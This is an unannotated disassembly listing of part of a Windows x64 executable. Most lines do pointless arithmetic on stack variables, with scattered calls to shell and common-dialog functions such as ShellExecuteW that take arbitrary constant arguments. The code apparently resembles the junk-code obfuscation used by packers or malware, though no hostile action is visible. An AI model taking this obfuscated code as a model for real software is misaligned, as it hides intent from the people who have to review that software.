mov rax, qword [rsp + 0x4ef8]
movzx ecx, word [rax]
call fcn.140149e50
nop
jmp 0x1401482ef
mov rax, qword [rsp + 0x4f88]
mov qword [rsp + 0x4f98], rax
cmp qword [rsp + 0x4f98], 0
je 0x14005d906
movabs rax, 0x93e343bad8d49c51
cmp qword [rsp + 0x4f98], rax
je 0x1401481e8
jmp 0x140148208
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4e90]
mov qword [rsp + 0x4fa0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4fa0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x4d90]
mov rdx, qword [rsp + 0x4e68]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
or rcx, rdx
cmp rax, rcx
jg 0x14005da71
lea rax, [rsp + 0x2a58]
mov qword [rsp + 0x4fa8], rax
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x4dd8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ee0]
mov rdx, qword [rsp + 0x4f88]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14005da0c
lea r8, [rsp + 0x15228]
lea rdx, [rsp + 0x151a8]
mov ecx, 0x43
call qword [sym.imp.SHELL32.dll_SHGetImageList]
mov dword [rsp + 0x2a34], eax
mov rax, qword [rsp + 0x4e68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
movsx eax, byte [rsp + 0x135]
movsx ecx, byte [rsp + 0x132]
and eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
movsx eax, word [rsp + 0xb20]
movsx ecx, word [rsp + 0xb2c]
add eax, ecx
mov word [0x1401c1a28], ax
jmp 0x14005da6c
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4de8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4e48]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x139]
add ecx, edx
cmp eax, ecx
jle 0x14005da6c
mov r9d, dword [rsp + 0x26f8]
mov rax, qword [rsp + 0x4f68]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x4ea8]
movzx edx, word [rax]
mov rax, qword [rsp + 0x4d88]
movzx ecx, byte [rax]
call fcn.14014b010
nop
jmp 0x14005db5d
lea r8, [rsp + 0xbb]
mov rdx, qword [rsp + 0x4dc8]
mov rcx, qword [rsp + 0x4fb0]
call qword [sym.imp.SHELL32.dll_ExtractAssociatedIconW]
mov qword [rsp + 0x4fb8], rax
movsx eax, byte [rsp + 0x132]
movsx ecx, byte [rsp + 0x139]
sub eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d80]
mov rcx, qword [rsp + 0x4ee0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4f88]
mov rdx, qword [rsp + 0x4dd8]
shl rdx, cl
mov rcx, rdx
cmp rax, rcx
jbe 0x14005db43
mov rax, qword [rsp + 0x4dd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x134]
sar eax, cl
mov byte [rsp + 0xbb], al
lea rdx, [rsp + 0x297c]
mov rcx, qword [rsp + 0x4fc0]
call qword [sym.imp.SHELL32.dll_SHQueryRecycleBinW]
mov dword [rsp + 0x2a34], eax
mov r9d, dword [rsp + 0x26f8]
mov r8d, dword [rsp + 0x2994]
movzx edx, word [rsp + 0xb1c]
movzx ecx, byte [rsp + 0x139]
call fcn.14014b010
nop
movzx eax, word [rsp + 0xb1c]
movzx ecx, word [rsp + 0xb30]
or eax, ecx
mov word [rsp + 0xb28], ax
mov rax, qword [rsp + 0x4e30]
mov rcx, qword [rsp + 0x4f80]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov ecx, dword [rsp + 0x26f8]
mov edx, dword [rsp + 0x299c]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jae 0x14005dc58
mov eax, dword [rsp + 0x2988]
mov dword [rsp + 0x2af0], eax
cmp dword [rsp + 0x2af0], 0xac6dbf6d
je 0x14005dc31
cmp dword [rsp + 0x2af0], 0xb4b64dfe
je 0x14005dbbe
jmp 0x14005dc58
mov edx, 0x3d
lea rcx, [rsp + 0x2af4]
call qword [sym.imp.SHELL32.dll_SHGetSettings]
mov rax, qword [rsp + 0x4ef8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb20]
add eax, ecx
mov rcx, qword [rsp + 0x4f60]
mov word [rcx], ax
mov rax, qword [rsp + 0x4f80]
mov rcx, qword [rsp + 0x4e30]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2988], eax
lea r9, [rsp + 0x4f40]
lea r8, [rsp + 0x152a0]
mov edx, 0x5b
mov ecx, 0x76
call qword [sym.imp.SHELL32.dll_SHChangeNotify]
nop
jmp 0x14005dc58
mov rax, qword [rsp + 0x4e68]
mov rcx, qword [rsp + 0x4d90]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4d70], rax
call fcn.140149a00
nop
movsx eax, byte [rsp + 0x132]
mov rcx, qword [rsp + 0x4de8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d88]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x4e48]
movsx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jg 0x14005ddff
mov rax, qword [rsp + 0x4ee8]
mov eax, dword [rax]
mov dword [rsp + 0x2af8], eax
cmp dword [rsp + 0x2af8], 0
je 0x14005dcbe
cmp dword [rsp + 0x2af8], 0x47745f3c
je 0x14005dde0
jmp 0x14005ddfd
mov rax, qword [rsp + 0x4ee8]
mov rcx, qword [rsp + 0x4fa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2a58], eax
mov rax, qword [rsp + 0x4ef0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4dd0]
movzx ecx, byte [rcx]
or eax, ecx
movzx ecx, byte [rsp + 0x134]
mov dword [rsp + 0x2afc], ecx
movzx edx, byte [rsp + 0x136]
movzx ecx, dl
mov edx, dword [rsp + 0x2afc]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x14005ddde
movsx eax, word [rsp + 0xb2c]
mov dword [rsp + 0x2b00], eax
cmp dword [rsp + 0x2b00], 0x31eb
je 0x14005dd41
jmp 0x14005ddde
mov rax, qword [rsp + 0x4ea8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb30]
xor eax, ecx
mov rcx, qword [rsp + 0x4ea8]
mov word [rcx], ax
mov dword [rsp + 0x28], 0x79
mov rax, qword [rsp + 0x4fc8]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x4f30]
mov r8, qword [rsp + 0x4e70]
mov rdx, qword [rsp + 0x4dc8]
mov rcx, qword [rsp + 0x4ec8]
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov qword [rsp + 0x4fd0], rax
movsx eax, byte [rsp + 0x53]
movsx ecx, byte [rsp + 0x132]
sar eax, cl
mov byte [0x1401c2b18], al
mov rax, qword [rsp + 0x4e28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x136]
sub eax, ecx
mov rcx, qword [rsp + 0x4dd0]
mov byte [rcx], al
call fcn.140149290
nop
jmp 0x14005ddfd
movzx eax, word [rsp + 0xb30]
mov rcx, qword [rsp + 0x4eb0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb28], ax
jmp 0x14005de1f
mov rax, qword [rsp + 0x4ef8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb2c]
add eax, ecx
mov rcx, qword [rsp + 0x4f60]
mov word [rcx], ax
cmp dword [rsp + 0x2a50], 0xa24d
jae 0x14005dfb6
mov eax, dword [rsp + 0x2a50]
add eax, 0x87
mov dword [rsp + 0x2a50], eax
movsx eax, byte [rsp + 0x138]
mov rcx, qword [rsp + 0x4e48]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0x4e90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f70]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4f80]
mov rcx, qword [rsp + 0x4e30]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x26f8], eax
mov rax, qword [rsp + 0x4e88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ad0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x29e4], eax
mov rax, qword [rsp + 0x4dd8]
mov rcx, qword [rsp + 0x4d80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d68], rax
mov rax, qword [rsp + 0x4e80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb34]
add eax, ecx
mov word [0x1401c1a28], ax
mov rax, qword [rsp + 0x4e48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d88]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4de8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4dd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e28]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xbb], al
mov rax, qword [rsp + 0x4e80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb34]
xor eax, ecx
mov rcx, qword [rsp + 0x4ef8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
movzx ecx, byte [0x14019f008]
or eax, ecx
mov byte [rsp + 0xbb], al
mov rax, qword [rsp + 0x4d90]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4f70]
shl rax, cl
mov rcx, qword [rsp + 0x4e68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4dd8]
mov rcx, qword [rsp + 0x4d68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f88], rax
jmp 0x14005de1f
mov rax, qword [rsp + 0x4e88]
mov ecx, dword [rsp + 0x2a00]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x29e4], eax
movsx eax, word [rsp + 0xb24]
mov rcx, qword [rsp + 0x4e80]
movsx ecx, word [rcx]
and eax, ecx
movsx ecx, word [rsp + 0xb38]
movsx edx, word [rsp + 0xb34]
add ecx, edx
cmp eax, ecx
jne 0x1401480c1
cmp dword [rsp + 0x2ad8], 0x1986
jae 0x14005e44b
mov rax, qword [rsp + 0x4de8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x138]
sar eax, cl
mov rcx, qword [rsp + 0x4de8]
mov byte [rcx], al
movzx eax, word [rsp + 0xb30]
movzx ecx, word [rsp + 0xb28]
or eax, ecx
mov rcx, qword [rsp + 0x4eb0]
mov word [rcx], ax
movsx eax, word [rsp + 0xb20]
mov rcx, qword [rsp + 0x4e80]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4f60]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x4ee8]
mov rcx, qword [rsp + 0x4e88]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4fa8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x132]
movsx ecx, byte [rsp + 0x138]
and eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov byte [rcx], al
mov rax, qword [rsp + 0x4f68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x299c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4f80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x53]
add eax, ecx
mov byte [0x1401c2b18], al
movzx eax, word [rsp + 0xb28]
mov rcx, qword [rsp + 0x4eb0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb1c], ax
mov rax, qword [rsp + 0x4ef8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb20]
add eax, ecx
mov word [rsp + 0xb34], ax
movzx eax, byte [rsp + 0x134]
movzx ecx, byte [rsp + 0x137]
sub eax, ecx
mov rcx, qword [rsp + 0x4ef0]
mov byte [rcx], al
mov eax, dword [rsp + 0x2ad8]
add eax, 5
mov dword [rsp + 0x2ad8], eax
mov rax, qword [rsp + 0x4eb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb28]
or eax, ecx
mov rcx, qword [rsp + 0x4da8]
mov word [rcx], ax
mov eax, dword [rsp + 0x2a00]
mov rcx, qword [rsp + 0x4ee8]
mov qword [rsp + 0x4fd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4fd8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x29e4], eax
mov eax, dword [rsp + 0x2994]
mov rcx, qword [rsp + 0x4e30]
mov qword [rsp + 0x4fe0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4fe0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x26f8], eax
mov rax, qword [rsp + 0x4ee0]
mov rcx, qword [rsp + 0x4d80]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f88], rax
mov rax, qword [0x1401c2b10]
mov rcx, qword [rsp + 0x4d70]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ef8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e80]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401c1a28], ax
mov rax, qword [rsp + 0x4e48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4de8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ef0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e28]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x134], al
mov rax, qword [rsp + 0x4f60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e80]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb38], ax
mov rax, qword [rsp + 0x4e48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d88]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4de8]
mov byte [rcx], al
mov eax, dword [rsp + 0x299c]
mov ecx, dword [rsp + 0x2988]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a5c], eax
mov rax, qword [rsp + 0x4ee8]
mov ecx, dword [0x1401c1a2c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4ee8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e68]
mov rcx, qword [rsp + 0x4f70]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x4d80]
mov rcx, qword [rsp + 0x4dd8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ee0], rax
mov rax, qword [rsp + 0x4ef0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x134]
xor eax, ecx
mov byte [0x14019f008], al
mov rax, qword [rsp + 0x4ea8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4eb0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xb30], ax
mov rax, qword [rsp + 0x4f60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb34]
sar eax, cl
mov word [rsp + 0xb24], ax
mov rax, qword [rsp + 0x4dd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e28]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x136], al
movzx eax, word [rsp + 0xb28]
mov rcx, qword [rsp + 0x4da8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4eb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x4f68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a5c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x26f8], eax
mov rax, qword [rsp + 0x4ee8]
mov rcx, qword [rsp + 0x4fa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4ee8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4eb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb28]
add eax, ecx
mov rcx, qword [rsp + 0x4da8]
mov word [rcx], ax
jmp 0x14005dfff
movsx eax, word [rsp + 0xb34]
mov rcx, qword [rsp + 0x4e80]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401c1a30], ax
mov rax, qword [rsp + 0x4ee0]
mov rcx, qword [rsp + 0x4d80]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d68]
mov rdx, qword [rsp + 0x4f88]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14005e554
mov rax, qword [rsp + 0x4ea8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb28]
add eax, ecx
mov rcx, qword [rsp + 0x4eb0]
mov word [rcx], ax
movsx eax, word [rsp + 0xb34]
mov dword [rsp + 0x2b04], eax
cmp dword [rsp + 0x2b04], 0x2e77
je 0x14005e4e7
cmp dword [rsp + 0x2b04], 0x4af0
je 0x14005e508
jmp 0x14005e554
mov rax, qword [rsp + 0x4e48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4de8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x135], al
jmp 0x14005e554
lea rdx, [rsp + 0x4e48]
lea rcx, [rsp + 0x4ef8]
call qword [sym.imp.SHELL32.dll_ILSaveToStream]
mov dword [rsp + 0x2a30], eax
mov r9d, dword [rsp + 0x2a5c]
mov rax, qword [rsp + 0x4f80]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x4da8]
movzx edx, word [rax]
mov rax, qword [rsp + 0x4d88]
movzx ecx, byte [rax]
call fcn.14014b010
nop
movsx eax, byte [rsp + 0x53]
mov rcx, qword [rsp + 0x4e48]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4d88]
movsx ecx, byte [rcx]
mov dword [rsp + 0x2b08], ecx
mov rdx, qword [rsp + 0x4de8]
movsx edx, byte [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x2b08]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x14005e632
mov eax, dword [0x1401c1a2c]
mov ecx, dword [rsp + 0x2a58]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ee8]
mov ecx, dword [rcx]
mov rdx, qword [rsp + 0x4fa8]
mov edx, dword [rdx]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x14005e632
mov rax, qword [rsp + 0x4e28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x137]
and eax, ecx
mov byte [rsp + 0x134], al
mov edx, 0xf2
mov rcx, qword [rsp + 0x4fc0]
call qword [sym.imp.SHELL32.dll_SHGetIconOverlayIndexW]
mov dword [rsp + 0x2b0c], eax
mov rax, qword [rsp + 0x4e80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb34]
sub eax, ecx
mov rcx, qword [rsp + 0x4f60]
mov word [rcx], ax
movsx eax, byte [rsp + 0x133]
movsx ecx, byte [rsp + 0x53]
add eax, ecx
mov byte [rsp + 0x132], al
mov eax, dword [rsp + 0x2994]
mov ecx, dword [rsp + 0x2a5c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4f68]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x2988]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x14005e673
mov rax, qword [rsp + 0x4e80]
movzx ecx, word [rax]
call fcn.140149e50
nop
jmp 0x140148098
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4f70]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov rcx, qword [rcx]
mov rdx, qword [0x1401c2b10]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jg 0x140148098
movzx eax, byte [rsp + 0x136]
movzx ecx, byte [rsp + 0xbb]
add eax, ecx
movzx ecx, byte [rsp + 0x137]
mov dword [rsp + 0x2b10], ecx
mov rdx, qword [rsp + 0x4d98]
movzx edx, byte [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x2b10]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x14005e71a
mov r9, qword [rsp + 0x4f38]
mov r8, qword [rsp + 0x4fe8]
mov rdx, qword [rsp + 0x4dc8]
mov rcx, qword [rsp + 0x4e40]
call qword [sym.imp.SHELL32.dll_ShellAboutW]
mov dword [rsp + 0x2a0c], eax
jmp 0x140148074
lea rax, [rsp + 0x2988]
mov qword [rsp + 0x4ff0], rax
lea rax, [rsp + 0xbb]
mov qword [0x1401c2b20], rax
lea rax, [rsp + 0x4d68]
mov qword [rsp + 0x4ff8], rax
mov rax, qword [rsp + 0x4f70]
mov qword [rsp + 0x5000], rax
cmp qword [rsp + 0x5000], 0
je 0x14005e769
jmp 0x14005e834
mov rax, qword [rsp + 0x4ea8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4eb0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4da8]
mov word [rcx], ax
lea rax, [rsp + 0x136]
mov qword [rsp + 0x5008], rax
mov rax, qword [rsp + 0x4de8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d88]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4f60]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ef8]
mov word [rcx], ax
lea rax, [rsp + 0xb1c]
mov qword [rsp + 0x5010], rax
mov rax, qword [rsp + 0x4e30]
mov rcx, qword [rsp + 0x4ff0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x299c], eax
mov rax, qword [rsp + 0x4e68]
mov rcx, qword [rsp + 0x4e90]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4910], rax
jmp 0x14005e8ed
mov rax, qword [rsp + 0x4ff8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4d68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4dd8], rax
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ef0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401c2b20]
mov byte [rcx], al
mov rax, qword [rsp + 0x5008]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbb]
sub eax, ecx
mov byte [rsp + 0x137], al
mov rax, qword [rsp + 0x4e48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x53]
add eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
lea rdx, [rsp + 0x166d0]
mov ecx, 0x7a
call qword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [rsp + 0x2b14], eax
mov rax, qword [rsp + 0x4e48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4de8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x132], al
call fcn.140149290
nop
movsx eax, word [rsp + 0xb20]
movsx ecx, word [rsp + 0xb38]
or eax, ecx
movsx ecx, word [0x1401c1a30]
mov dword [rsp + 0x2b18], ecx
movsx edx, word [rsp + 0xb34]
movzx ecx, dl
mov edx, dword [rsp + 0x2b18]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x14005eb31
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbb]
xor eax, ecx
movzx ecx, byte [0x14019f008]
mov dword [rsp + 0x2b1c], ecx
movzx edx, byte [rsp + 0x137]
movzx ecx, dl
mov edx, dword [rsp + 0x2b1c]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x14005ea7a
movzx eax, word [rsp + 0xb1c]
movzx ecx, word [rsp + 0xb28]
and eax, ecx
mov rcx, qword [rsp + 0x4eb0]
mov word [rcx], ax
movsx eax, word [rsp + 0xb34]
movsx ecx, word [rsp + 0xb38]
add eax, ecx
mov word [rsp + 0xb20], ax
mov r8w, 0x74
mov rdx, qword [rsp + 0x5018]
mov rcx, qword [rsp + 0x4fe8]
call qword [sym.imp.COMDLG32.dll_GetFileTitleW]
mov word [rsp + 0xb20], ax
mov rax, qword [rsp + 0x4dd8]
mov rcx, qword [rsp + 0x4ee0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ff8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e30]
mov ecx, dword [rsp + 0x2994]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x299c], eax
lea rcx, [rsp + 0x15460]
call qword [sym.imp.COMDLG32.dll_ReplaceTextW]
mov qword [rsp + 0x5020], rax
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rsp + 0x4910]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4f70], rax
mov r8w, 0xe3
mov rdx, qword [rsp + 0x4f30]
mov rcx, qword [rsp + 0x5018]
call qword [sym.imp.COMDLG32.dll_GetFileTitleW]
mov word [rsp + 0xb2c], ax
mov rax, qword [rsp + 0x4e28]
movzx eax, byte [rax]
movzx ecx, byte [0x14019f008]
sub eax, ecx
mov rcx, qword [0x1401c2b20]
mov byte [rcx], al
jmp 0x14005eb31
lea rax, [rsp + 0x134]
mov qword [rsp + 0x5028], rax
mov rax, qword [rsp + 0x4ef8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb20]
sub eax, ecx
mov rcx, qword [rsp + 0x4e80]
mov word [rcx], ax
movsx eax, byte [rsp + 0x133]
mov rcx, qword [rsp + 0x4e48]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
lea rax, [rsp + 0x136]
mov qword [rsp + 0x5030], rax
mov rax, qword [rsp + 0x4f60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e80]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb34], ax
mov dword [rsp + 0x2b20], 0xcf23
mov rax, qword [rsp + 0x4ee0]
mov qword [rsp + 0x5038], rax
mov rax, qword [rsp + 0x4fa8]
mov ecx, dword [rsp + 0x2ad0]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4ee8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4f60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4ef8]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4e80]
movsx ecx, word [rcx]
mov dword [rsp + 0x2b24], ecx
movsx edx, word [0x1401c1a30]
movzx ecx, dl
mov edx, dword [rsp + 0x2b24]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x140147fc1
movzx eax, word [rsp + 0xb28]
mov word [rsp + 0xb3c], ax
mov rax, qword [rsp + 0x5008]
movzx eax, byte [rax]
mov rcx, qword [0x1401c2b20]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x134], al
movsx eax, word [rsp + 0xb24]
movsx ecx, word [rsp + 0xb20]
and eax, ecx
mov rcx, qword [rsp + 0x4f60]
mov word [rcx], ax
movzx eax, word [rsp + 0xb28]
mov rcx, qword [rsp + 0x5010]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb30], ax
movzx eax, word [rsp + 0xb28]
mov rcx, qword [rsp + 0x4eb0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb30], ax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4910]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f70], rax
mov rax, qword [rsp + 0x4ff8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ee0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d80], rax
mov rax, qword [rsp + 0x5030]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d98]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401c2b20]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e30]
mov ecx, dword [rsp + 0x26f8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov dword [rcx], eax
movsx eax, word [rsp + 0xb24]
mov rcx, qword [rsp + 0x4f60]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4ef8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x134]
movzx ecx, byte [rsp + 0x136]
shl eax, cl
mov byte [rsp + 0x137], al
mov rax, qword [rsp + 0x4de8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d88]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4de8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x137]
movzx ecx, byte [rsp + 0x134]
and eax, ecx
